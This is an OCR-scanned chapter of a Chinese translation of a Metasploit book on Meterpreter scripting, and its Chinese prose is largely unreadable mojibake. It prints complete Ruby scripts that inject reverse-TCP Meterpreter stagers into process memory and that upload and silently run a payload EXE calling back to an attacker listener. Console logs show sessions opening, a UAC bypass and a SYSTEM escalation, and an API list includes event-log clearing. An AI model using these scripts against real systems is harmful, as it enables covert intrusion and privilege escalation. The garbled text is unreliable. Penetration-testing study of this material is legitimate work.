meterpreter > run multi_meter_inject -mp 2808 -mr 172.16.32.129 -p 443
[*] Creating a reverse meterpreter stager: LHOST=172.16.32.129 LPORT=443
[*] Injecting meterpreter into process ID 2808
[*] Allocated memory at address 0x03180000, for 290 byte stager
[*] Writing the stager into memory...
[*] Sending stage (749056 bytes) to 172.16.32.170
[+] Successfully injected Meterpreter in to process: 2808
© [*] Meterpreter session 3 opened (172.16.32.129:443 -> 172,16.32.170:1098) at
Tue Nov 30 22:37:29 -0500 2010
meterpreter >

M TTELEH, ROEGSRIGPITT, — 5 Meterpreter KIEHILT, WOFTR.

BAERNTRTMAGEB MWL L, RTRIEMTERMEA TS, ¥R R
Ry, XA B EAVE LT M S AT URED, BT T ARG

HAR MR LERMBIAEN, ARBRINTBELBL Meterpreter {1 £4Ti£I0:

# $Id: multi meter_inject.rb 10901 2010-11-04 18:42:36Z darkoperator $
# $Revision: 10901 $
# Author: Carlos Perez at carlos_perez[at]darkoperator.com

HEGHH I Variable Declarations #itHE#IEERIHHISR

@client = client
lhost = Rex::Socket,source_address("1.2.3.4")
lport = 4444
lhost = "127.0.0.1"
® pid = nil

multi ip = nil
multi_pid = []
payload_type = "windows/meterpreter/reverse_tcp”
start handler = nil
® @exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-p" => [ true, "The port on the remote host where Metasploit is
listening (default: 4444)7],
"-m" =» [ false, "Start Exploit multi/handler for return connection"],
"-pt" => [ true, "Specify Reverse Connection Meterpreter Payload.
Default windows/meterpreter/reverse tcp"],
“-mr" => [ true, “"Provide Multiple IP Addresses for Connections
separated by comma."],
"-mp" => [ true, “Provide Multiple PID for connections separated by
comma one per IP."]

)

meter_type = client.platform
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &% ik 45 &

ARG, EER — L R FmAEREE T EXL. BlW: pid-nil®@fE T —
AN PID A5, (HEXNEBRAERERI. @exec_opts = Rex::Parser::Arguments.new®4 i T 44
LR A ST IR BAME B 45 B
T4 ST BATTHEE A A pR 8L
RS Function Declarations H#HHHHHEHHHHHHHEIHE

# Usage Message Function

Bm i mm e e e e e m e o

O def usage
print_line "Meterpreter Script for injecting a reverse tcp Meterpreter Payload"
print_line "in to memory of multiple PID's, if none is provided a notepad process.”
print line "will be created and a Meterpreter Payload will be injected in to each.”
print_line(@exec_opts.usage)
raise Rex::Script::Completed

end

# Wrong Meterpreter Version Message Function

def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed

end

# Function for injecting payload in to a given PID

@ def inject(target_pid, payload_to_inject)
print_status("Injecting meterpreter into process ID #{target pid}")
begin
host_process = @client.sys.process.open(target_pid.to_i, PROCESS_ALL_ACCESS
raw = payload to_inject.generate
©mem = host_process.memory.allocate(raw.length + (raw.length ¥ 1024))
print_status("Allocated memory at address #{"0x%.8x" % mem}, for
#{raw.length} byte stager")
print_status("Writing the stager into memory...")
Ohost_process.memory.write(mem, raw)
@host_process.thread.create(mem, 0)
print_good("Successfully injected Meterpreter in to process: #{target pid}")
rescue: :Exception => e
print_error("Failed to Inject Payload to #{target pid}!")
print_error(e)
end
end

TEAB Y, usage RO AE-h TR E S A . /R7T M Meterpreter API B 1
Fi —%& Meterpreter %, ZTHHEMI{L T — 245 E4EFHIEI, BIWERA def inject MEUENF|—
MgitREd xe.

H-AMEHEEMITER host_process.memory.allocate REAHO, ZREATFRIIN
Meterpreter i8R AL FEZF (8] . 2 J5 18 H host_process.memory.write B 3@ AFFE A F| ik
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

¥ 16 B Meterpreter B A 4Rig

FER R A, [R&) A host_process.thread.create I #-— TR O .

N2, BAlIE X— 2 G0 VT 88 R AL B IRA LA FE I R R B 8T, 76 m A e b A
BT8R CBUAMEA Meterpreter, BTLABRIESEITR kTR €, £ AIRIMAVT 2540 Meterpreter
=i

# Function for creation of connection handler

def create_multi_handler(payload_to_inject)
mul = @client.framework.exploits.create{"multi/handler”)
mul.share_datastore(payload_to_inject.datastore)
mul.datastore[ 'WORKSPACE'] = @client.workspace
mul.datastore[ 'PAYLOAD'] = payload to_inject
mul.datastore[ "EXITFUNC'] = 'process’
mul .datastore[ 'ExitOnSession’] = true
print_status("Running payload handler")
mul .exploit_simple(
'Payload” => mul.datastore['PAYLOAD'],
"RunAsJob' => true

end

1E F &84 WA M pay = client.framework.payloads.create(payload) & ¥ fE 9% il 341 7E
Metasploit HEZZP I — M BAT, BARITENEIX R 4 Meterpreter i 4847, Metasploit
TSk A W= Prafollfe

# Function for Creating the Payload

def create_payload(payload_type,lhost,lport)
print_status("Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}")
payload = payload type
pay = client.framework.payloads.create(payload)
pay.datastore[ "LHOST'] = lhost
pay.datastore[ 'LPORT'] = lport
return pay
end

TR ER - MEFAEFHRE, WRABRMNEFRERE, Z4Lamtigs—4
WHARR.

# Function that starts the notepad.exe process

def start proc()
print_good("Starting Notepad.exe to house Meterpreter Session.™)
proc = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })
print_good("Process created with pid #{proc.pid}")
return proc.pid
end
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

Metasploit #5 iX 35 &5

LR R LV B AR REE ERATAE I 4. FER P Hidden (B350 EIMBE NI,
KB RNEEEEN (BN BHRESASBEAA R, THCHARRERI S8R
RHEN, EREITHEAE AR .

RIGEA MBI R, WMERFE ICEALGNRERY, 8RB HE 8.

RERHSHHH Y Main $HGREEEEAHERRSHHAYE
@exec_opts.parse(args) { |opt, idx, val|

case opt
when "-h"

usage
when "-p"

lport = val.to_i
when "-m"

start_handler = true
when "-pt"

payload_type = val
when "-mr"

multi_ip = val.split(",")
when "-mp"

multi_pid = val.split(",")
end

}

# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|winé4/i
# Create a Multi Handler is Desired

create_ multi_handler(payload_type) if start_handler

BE, RIBHTFORE, HERNKEEREAN. RNHIARIIAH Meterpreter # 1E
. BREAFEE K PID F1,

# Check for a PID or program name

if multi_ip
if multi_pid
if multi_ip.length == multi_pid.length

pid_index = 0

multi_ip.each do |i]
payload = create_payload(payload_type,i,lport)
inject(multi_pid[pid_index],payload)
select(nil, nil, nil, 5)
pid_index = pid_index + 1

end
else
multi_ip.each do |i|
payload = create_payload(payload_type,i,lport)
inject(start_proc, payload)
select(nil, nil, nil, 2)
end
end

end
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

16 ¥ Meterpreter BiEHRIZ

else
print_error("You must provide at least one IP!")
end

16.2 Meterpreter API

ERER RS, RATRETERE — N EFHF SR T ROE A, kR EENES.
WRREAERNREMRS, R ERMENZERHIZEA Ruby BERRESHHCHEENN
A

YERTFEG, FE/v 847E Ruby shell (BFRIE irb) RHIRE P HIEEITH 4. 7 Meterpreter
FHIE S, WA b ik EIF RN 2

meterpreter > irb

[*] Starting IRB shell

[*¥] The 'client’ variable holds the meterpreter client
»>

16.2.1 #TEN#iH
BATTCLTAF print_line(VFF 4R, %R 0PH K T EN4 th 70 BB VR In— A 85 5RAF o

>> print_line("you have been pwnd!™)
you have been pwnd!
=> nil

BT RMA print_status(), XA BRYORAERMAE T DRBEAENE, S0 ARRITENH—
T HEETRERERRAHE, FU IR

>»> print_status("you have been pwnd!")
[*] you have been pwnd!
=> nil

T AR EUE AR print_good(), FIRBH—REMEWITHILR, HRRXIRSIE R BRI
AR, BAHIFE R AT
»> print_good(“"you have been pwnd")

[+] you have been pwnd
=> nil
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit £iE MiXIE

#e TR A print_error()RR %, 1% R EHR IR HLEE A Rk E 1R 2l 1E LB Ih AT, BA[-]
YEA R -

>> print_exror("you have been pwnd!")
[-] you have been pwnd!
=> nil

16.2.2 EZE APIBH

Meterpreter 24t T 2 APLIAM, WLTEIRE CRT AP HIXE APL, SRIEHEHSH
Thie k& @ HIThEE. AT CATE AN HU7 R B F X 2 APL B4, MARRFTFNRYE
F B2 % A0S & Meterpreter #2456 FI 8N, X HCHS AT LG 1E R 48 A L BEE AR ZERL.
B IX M P, W LL# Back-Track W il Metasploit ¥ /4R H & F M
/lib/rex/post/meterpreter/ui/console/command_dispatcher/f H 3. WIRARF40 1 FIX A I 1Y
AFRZE, TR B)E R A T EEARAE R .

root@bt:~# 1s -F /opt/framework3/msf3/1lib/rex/post/meterpreter/ui/console/
command_dispatcher/

core.rb espia.rb incognito.rb networkpug.rb priv/ priv.rb sniffer.rb
stdapi/ stdapi.rb

FEIX O A () P9 36 2 % F Meterpreter 0. AP SETHIAS B 45 BGRME, DUR AR K6y
Ao BUEIX R A REHELEUR T ## 3| Meterpreter 52 1A 75 — PN EUBE RGP HEHTIEMER .

16.2.3 Meterpreter Mixins

Meterpreter mixins (VB AZS) JE Meterpreter 4B H B K — R 5| sk Bhfes | B . X4
5| R7E irb REErh RONGEAERINY, HAEZEGIE Meterpreter BIAR . FHE LB EAHE
FRIR G HE:

cmd_exec(emd): DBSAIEEMAN T RPATAHA®S, SEBHSRUBTEGSRY
X8,

eventlog_clear(evt =""): JHERIEEMFMHHE, WEATEENFHRIEOHE4HEFLER,
BE—MEEHREENRA.

eventlog_list): MEFHMHHE, HEF--MEEFHMAHTLROEA.

file_local_digestmd5(file2md5): & [E]— MK E A 3 HFH) MDS BRI TR

file_local_digestshal(file2shal): i&[A]—/ME @AM 3C4F ) SHA1 KB FIF 7.

file_local digestsha2(file2sha2): i&[A]—/Mf5E A T4 #) SHA256 K FIE /& .
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

W16 FE Meterpreter BIARIE

file_local write(file2wrt, data2wrt): K45 i i 777 8 S B8 & 30 .

is_admin?(): RHILETHIRBAEER. WHEMEERRFE, HFAREFE.

is_uac_enabled?(): H|Wiff Pk iE%] (UAC) BRECELITAE.

registry_createkey(key): GJE —/ME MM R, RO BIRAIE.

registry_deleteval(key,valname): Ml —/M 45 2 1T At R BIE A 47, 0 BB R Th iR [ BT .

registry_delkey(key): Bk — M5 & REN REME, wRMBRAZIERER.

registry_enumkeys(key): FIASH & @i MREEK TR, BRI - METRIHA.

registry_enumvals(key): 512545 € MR RME RN, RESHREES L.

registry_getvaldata(key,valname): iR [F125 5y M 32 5 (8 A EUAA A B3 .

registry_getvalinfo(key,valname): & [3%5 33 288 (E FHL(H B EHE K7,

registry_setvaldata(key,valname,data,type): 7t B #5 EALEM R P B 5w 3 M 2 R E
fE, InSREIhR P .

service_change_startup(name,mode): B(% ~MEERFHEDERX, LARERE L
A B RE - MMET A3, FHRFRARENESE, RELEKIER
K

service_create(name, display_name, executable_on_host,startup=2): i% e ¥ H kE)@#—1
BT HCHENRS . S8R FRABRUNRSG AR, FHRERUNEREK, FRFAL
R E BB ST RAT X, BUEKRRIM B3N KR (2 h B33, 3 W FETLRES, 4 h%H,
RIAAABIESD.

service_delete(name): 1% bR {01 iof /B T 2 b O 8 05 SR AR B AR 55 -

service_info(name): 73%| Windows HIR% 5 8. FIHK{E BB RS L. B AR
HEBh S, REBHREDEHRY, SAEELET LK. B, G4MESR.

service list(): %It AT AEIH Windows %y, REIEEH RS A KA.

service_start(name): f33JfR%, WRRFZEFEE 0, WRMFELBRNE 1, HRR
%31k 2.

service_stop(name): <MIR%, WRARTHKHARFIER 0, WRARS CEZEHEE G LR
B 1, RS A G RR] 2,
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BTt I AT ORM L% S 2 AT AR 2 A B B AT A 4%, 5 I 24 AT 1) SEBRABCR) N AR FHV R ST o DRIAR St 38 40 W o)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

Metasploit #iEMiX1E S

W R YRR AR 2 I A S N A B I ThAE, VREETRE T A4 Meterpreter mixin eRi#¥(5 (4.

16.3 4RSS Meterpreter Bz &30 0

MYRGMS Meterpreter B AHT, FERIRIEREIEBFE —MEA M, H AT ABAZ
Metasploit P2/, RTE TH#FLLT R,

o N{FRIImES. AHAEHER, KEAEMHLREERLER, HAMITIESESR
MR RAH LS.
i tab BHEITHERE, FEMSEHTHERE.
NARFFRK B, FEFAKRES{, €A do f end Bz,
LA REET, FRRERE HRETER, RERBHRFMENHNIMB.
ANE(EH sleep AL, {# Al"select(nil, nil, nil, <time>)".
AE(EA puts 2 HAbFAER I 28 ¥, A print,print_line. print_status. print_error.
F1 print_good HE 3.
BREE-hER, TN AT R EA TR G, I HBTR B dy & TR .
WURRE) B A T B AR 4 B A RS Meterpreter ¥ GIE1T, HRMb11 R RELERT Sy
P& Ei21T, HEAFRRERENEEEZITHRE.

16.4 {1 B C &Y Meterpreter 7

EITFRBERK XA RE BFAR, € scripts/meterpreter/ X K T RIH — N2 X
execute_upload.rb FIBA ST ZATVHEHE B A DY RE R FRTE SCHF THEE, 678 5T A T X
MIA R g, RN SE SOZB A 1) fir 24T 2T

# Meterpreter script for uploading and executing another meterpreter exe

info = "Simple script for uploading and executing an additional meterpreter payload"
# Options

opts = Rex::Parser::Arguments.new(
©"-h" => [ false, "This help menu. Spawn a meterpreter shell by uploading and
executing."],
®"-r" = [ true, "The IP of a remote Metaspleit listening for the connect back"],
©"-p" => [ true, "The port on the remote host where Metasploit is listening
(default: 4444)"]
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

$ 16 8E Meterpreter A RIS

XA WA EE L RERRERE, HAXNMHERE ENATEZ ATFEHH Carlos
Perez TS HIMAThREIFH KM, WAHEEBOMEA-h FIH . « Fl-p AIRIEEETHI
Meterpreter A ATHEF T RACH T IPOFNK 5@, E&: RME ST TRUE &M, XX
B X MR TR T Y -

BTk, Bl XEHAFHEMRKNZRR. BATHREA Rex::Textrand_text_alpha B #( B
—AME— R RAT A . PR ER AR, BOA RN A BRI S £ 8K — A T AT S0
2, WAEHMITRE S G A B E T — MR RAIRHEE. RIMEELEESIMMASL,
fEHNHFEZSHWE, NFITH—EHR, Hin-higm.

filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe

rhost = Rex::Socket.source_address("1.2.3.4")
rport = 4444
lhost = "127.0.0.1"
pay = nil
#
# Option parsing
#
opts.parse(args) do |opt, idx, val]
case opt
when “-h"

print_line(info)
print_line(opts.usage)}
raise Rex::Script::Completed

when "-r"

rhost = val®
when "-p"
rport = val.to_i®

end

end

EREIRMFAAET BNSH KA RBRE, S0 5 AP TEER. rhost = val O
AR A i, NP EAREURER T rhost R ” . rport = val.to_i® U] B MK 45 5
R A — MR RB T mport (G — MmO BREFEBRTR) .
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &%t 3E

TERET RIS, FHAVKE QBB EATHOENEL .

© payload = "windows/meterpreter/reverse_tcp”

® pay = client.framework.payloads.create(payload)
pay.datastore[ 'LHOST'] = rhost
pay.datastore[ 'LPORT'] = rport
mul = client.framework.exploits.create("multi/handler")
mul.share_datastore(pay.datastore)
mul.datastore| "WORKSPACE'] = client.workspace
mul.datastore[ 'PAYLOAD'] = payload
mul.datastore[ "EXITFUNC'] = 'process’
mul.datastore[ 'ExitOnSession'] = true
mul.exploit_simple(
'Payload’ => mul.datastore[ PAYLOAD'],
‘RunAsJob’ => true

)

A1 T windows/meterpreter/reverse_tep fE B A0, HitiAM client.framework.
payloads.create BRI HEMO, IHIEE T LEMNSEREIE ML AREK#E. LHOST
A1 LPORT i 10 /2 Fe A1 175 B F SR BB B0 8T I 8 2 M W 28 10 B i3 L SR C B T

BTk, BA16VE—a AT (Win32 PE 85X Meterpreter), LA&F) HbrFEHLITFHAT:

® if client.platform =~ /win32|win64/

Otempdir = client.fs.file.expand_path("%TEMP%")
print_status("Uploading meterpreter to temp directory...”)
Traw = pay.generate

©exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw)
tempexe = tempdir + "\\" + filename
tempexe.gsubl ("\\\\", "\\")
fd = client.fs.file.new(tempexe, "wb")
fd.write(exe)
fd.close
print_status("Executing the payload on the system...")
execute_payload = "#{tempdir}\\#{filename}"

pid = session.sys.process.execute(execute_payload, nil, {'Hidden' => true})

end

HRES S E XHTRZ BHSEIER, EE: BI1225% X T tempdir M filename. 7E
XAMAT, BRIMEERST 4B, AREUBERRATEEELET Windows FIRSAO;
WRARENE, BIMMBEHEIEAXIEIT. RERNT R His EUH % TEMPY 5 & H ik i H
FO, HEXGE—NF S, KRATNINGE A :Msf::Util::EXE.to_win32pe @ 6E K EXE 3
HBN. 244 session.sys.process.execute HEITERE, XFE HErH P RBEREUEM M E BHE.

GAERK, BIWBEEADTHR:

# Meterpreter script for uploading and executing another meterpreter exe

info = "Simple script for uploading and executing an additional meterpreter payload”
#
# Options
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

i

%

# 16 FE Meterpreter )& 412

#

opts = Rex: :Parser::Arguments.new(
".h" => [ false, "This help menu. Spawn a meterpreter shell by uploading and
executing.”],

"-r" => [ true, "The IP of a remote Metasploit listening for the connect back"],
"-p" = [ true, "The port on the remote host where Metasploit is listening
(default: 4444)"]
)
#
#f Default parameters
#

filename = Rex::Text.rand text alpha((rand(8)+6)) + ".exe"
rhost = Rex::Socket.source address("1.2.3.4")

rport = 4444

lhost = "127.0.0.1"

pay = nil

#

# Option parsing

#

opts.parse(args) do |opt, idx, val|
case opt
when "-h"

print_line(info)
print_line(opts.usage)
Taise Rex::Script::Completed

when "-1"
rhost = val
when "-p"

rport = val.to_i
end
end

payload = "windows/meterpreter/reverse_tcp"
pay = client.framework.payloads.create(payload)
pay.datastore[ 'LHOST'] = rhost
pay.datastore[ "LPORT'] = rport
mul = client.framework.exploits.create("multi/handler")
mul.share datastore(pay.datastore)
mul.datastore[ 'WORKSPACE'] = client.workspace
mul.datastore[ 'PAYLOAD'] = payload
mul.datastore[ 'EXITFUNC'] = 'process’
mul.datastore[ 'ExitOnSession'] = true
print_status("Running payload handler")
mul.exploit_simple(
'Payload’ => mul.datastore[ 'PAYLOAD'],
‘RunAsJob’ => true

247

224 WwW.176K u.CoM



T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit i % iz 5 &5
if client.platform =~ /win32|win64/

tempdir = client.fs.file.expand_path("¥TEMPX")
print_status("Uploading meterpreter to temp directory")
Taw = pay.generate

exe = ::Msf:i:Util::EXE.to win32pe(client.framework, raw)
tempexe = tempdir + "\\" + filename

tempexe.gsub! ("\\\W\", "\\")

fd = client.fs.file.new(tempexe, "wb")

fd.write(exe)

fd.close

print_status("Executing the payload on the system")
execute_payload = "#{tempdir}\\#{filename}"

pid = session.sys.process.execute(execute payload, nil, {'Hidden' => true})

end

BAE, BA1HT T #EIE K Meterpreter BIA S, ik3RATIF /A Metasploit, ¥ A F| Meterpreter
BT B A

meterpreter > run execute_upload -r 172.16.32.129 -p 443

[*] Running payload handler

[*] Uploading meterpreter to temp directory

[*] Executing the payload on the system

[*] Sending stage (749056 bytes) to 172.16.32.170

[*] Meterpreter session 2 opened (172.16.32.129:443 -> 172.16.32.170:1140) at
Tue Nov 30 23:24:19 -0500 2010

meterpreter »

R BAICEAIE T 4> Meterpreter A, WINHAT T B4 T B Meterpreter
shello XA B HIHF B8 T Meterpreter JIASH Ruby 5 & 58 KIKARE S .

BAIZ R E e T — DN EEN BB Meterpreter A4k % Metasploit AR
Ug 0 (BFEvE: BBOHT#EH ) Metasploit v4.0 1 IEGIA K S8 E B L), BATPEE<—
ANATASEE Windows 7 UAC ALt 26488 . Windows Vista LUK Z JE IRRA S| T 248l UNIX
A Linux F# sudo M4, A TIAMEEE, —/MEEA - BRK S FERIT RSN, FE
75 2 F 2 AP I P IR . X MRS A E O, B RERKEEE QTS
REREATICERME . UAC MR Hir B RGUE G e ol W SR, HAEEERREE
AR PR T

¥ 2010 4F 12 A, Dave Kennedy 1 Kevin Mitnick & T —/NH K &¢id Windows H /2 ik
%] (UAC) B9 Meterpreter #E3R, 2R HUR Bk 87\ BI04 & A A & 153 Bl b &
“UAC 2" KRS, Mgl UAC &6l MEABRBRR R, — /38 EE (DLL) %
#eBB, HE UAC BB EPEIT, XA DLL #tal LAt UAC kizfTar 4.
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

F16E Meterpreter BIARIZ

TEIXAN R, TRV W 48 A XA T LAGEE A P ik P ] (UAC) IR BT
Beo B RAEH- MR R A2 UMY (multi/handler) Hk, XHEAFRINNEZZ D
Meterpreter shell. iFE R EAG ', MRAVIZEIT getsystem Ay AR KM T, X2 FE A Windows
P K% (UAC) HLEIRE L RATEH Z a2 .

resource (src/program_junk/meta_config)> exploit -j

[*] Expleit running as background job.

msf exploit(handler) >

[*] Started reverse handler on 0.0.0.0:443

[*] Starting the payload handler...

[*] Sending stage (749056 bytes) to 172.16.32.130

[*] Meterpreter session 1 opened (172.16.32.128:443 -> 172.16.32.130:2310) at
Thu June 09 08:02:45 -0500 2011

msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > getsystem

[-] priv_elevate_getsystem: Operation failed: Access is denied.

meterpreter > sysinfo

Computer: DAVE-DEV-PC

0s : Windows 7 (Build 7600).

Arch : x64 (Current Process is WOW64)

Language: en_US

meterpreter >

HE: RNEEREG D REBURKIKS, KA K EH (UAC) FETRITOAR.
RITEEGF A K26, NIRBRARK,, SHAREARETERE -PARE
Al BAVHMA CTRL-Z B I RIFELERRFE. 25, RIVEAFRERKBITEBER
diEsk, Mgt Windows H /P #4H (UAC) BidrThie.

msf exploit(handler) > use post/windows/escalate/bypassuac
msf post(bypassuac) > show options
Module options (post/windows/escalate/bypassuac):

Name Current Setting Required Description

LHOST no Listener IP address for the new sessien
LPORT 4444 no Listener port for the new session
SESSION yes The session to run this module on.

msf post(bypassuac) > set LHOST 172.16.32.128
LHOST => 172.16.32.128

msf post(bypassuac) > set SESSION 1

SESSION => 1

msf post(bypassuac) > exploit

[*] Started reverse handler on 172.16.32.128:4444

[*] Starting the payload handler...

[*] Uploading the bypass UAC executable to the filesystem...
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit i&iEM 445 Fg

[*] Meterpreter stager executable 73802 bytes long being uploaded..

[*] Uploaded the agent to the filesystem....

[*] Post module execution completed

msf post(bypassuac) >

[*] Sending stage (749056 bytes) to 172.16.32.130

[*] Meterpreter session 2 opened (172.16.32.128:4444 -> 172.16.32.130:1106) at Thu June 09
19:50:54 -0500 2011

[*] Session ID 2 (172.16.32.128:4444 -> 172.16.32.130:1106) processing InitialAutoRunScript
'migrate -f'

[*] Current server process: tYNpQMP.exe (3716)

[*] Spawning a notepad.exe host process...

[*] Migrating into process ID 3812

[*] New server process: notepad.exe (3812)

msf post(bypassuac) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getsystem
...got system (via technique 1}.
meterpreter >

AT AT LAFE Meterpreter #2556 H & AT run KBt use, XHE AT LA B BRIAIEIRBAAT L
A TERAN B AR EIX LT .

ERFROE LRGP 28R hIRE T B EN JTHFT UAC RI7) BIRFHER,
XA/ T AR B #3815 98 B SO BRGR S (o] G B T B AT . X BRI Th RE R AT 2,
B IESE R G PR B AT BAT UM B R B AR N, RERCETEXR. FHAER/FBEATK
BLIURRY, R4 S AT M B R TS OB RS .

root@bt:/opt/framework3/msf3# nano modules/post/windows/escalate/bypassuac.rb

16.5 &5

AV GG 5 B E B R S A & F, BOVERS 13 ENMANAERSAME
5. FAMBEEAENE 1T, ZEREERKRA CHER.

i it B A A FEE R Meterpreter A4S, BHSG— AW LBARGIEH AR G4, WA
PARERE. R MR RE R T WA, HIRZE Metasploit JTREIBL, RAER
P RSt T RE AR S A A BT AT !

250

24 W WwW. 176K u.CoM



BTt I AT ORM L% S 2 AT AR 2 A B B AT A 4%, 5 I 24 AT 1) SEBRABCR) N AR FHV R ST o DRIAR St 38 40 W o)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

—REEMEEM TR

BB E WA T RO AR — T EIRRA L, 7E2E N #E b R oh i 1
—ANEPFASR L, R AR “ eI RERMERRRE. EATEDR, i)
BE— MR B E NS B EAREZ M E T PREINEABRATE R, RENEEF
A5 FH B 25 B S0 TR R RE SR B 2 Al — Wi B WAL FE, PR 230 X B8 o i K B B R AT L
BRET.

TEFFUE AR BB IR Z FEwl, %56 F 8 23—/~ 44 Metasploitable ] Linux ¥EHLEEFAHL
8. (RATLLEE http://www.thepiratebay.org/torrent/S573179/Metasploitable/$R B IX A H B T
#) Metasploitable 8177 H BIBLR 4% ) FF B Metasploit #4227 FHREE A0l LHEATLTH2
BRRLRIFE ., S HE MY LROTENR LY Metasploitable, REREE. AT LUK
Metasploitable I HLAE L% A #7n 5 BE K Window XP EHUBTE — PR — MR
KM £RFR5E, ik Windows XP #EHLAE b — > BB o] E #8300 () FR4E, T Metasploitable 41U
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit 7&i% it 5

A P AL A

1B AR B SRR AN DR W RlK, S AES A KR D A WS8R,
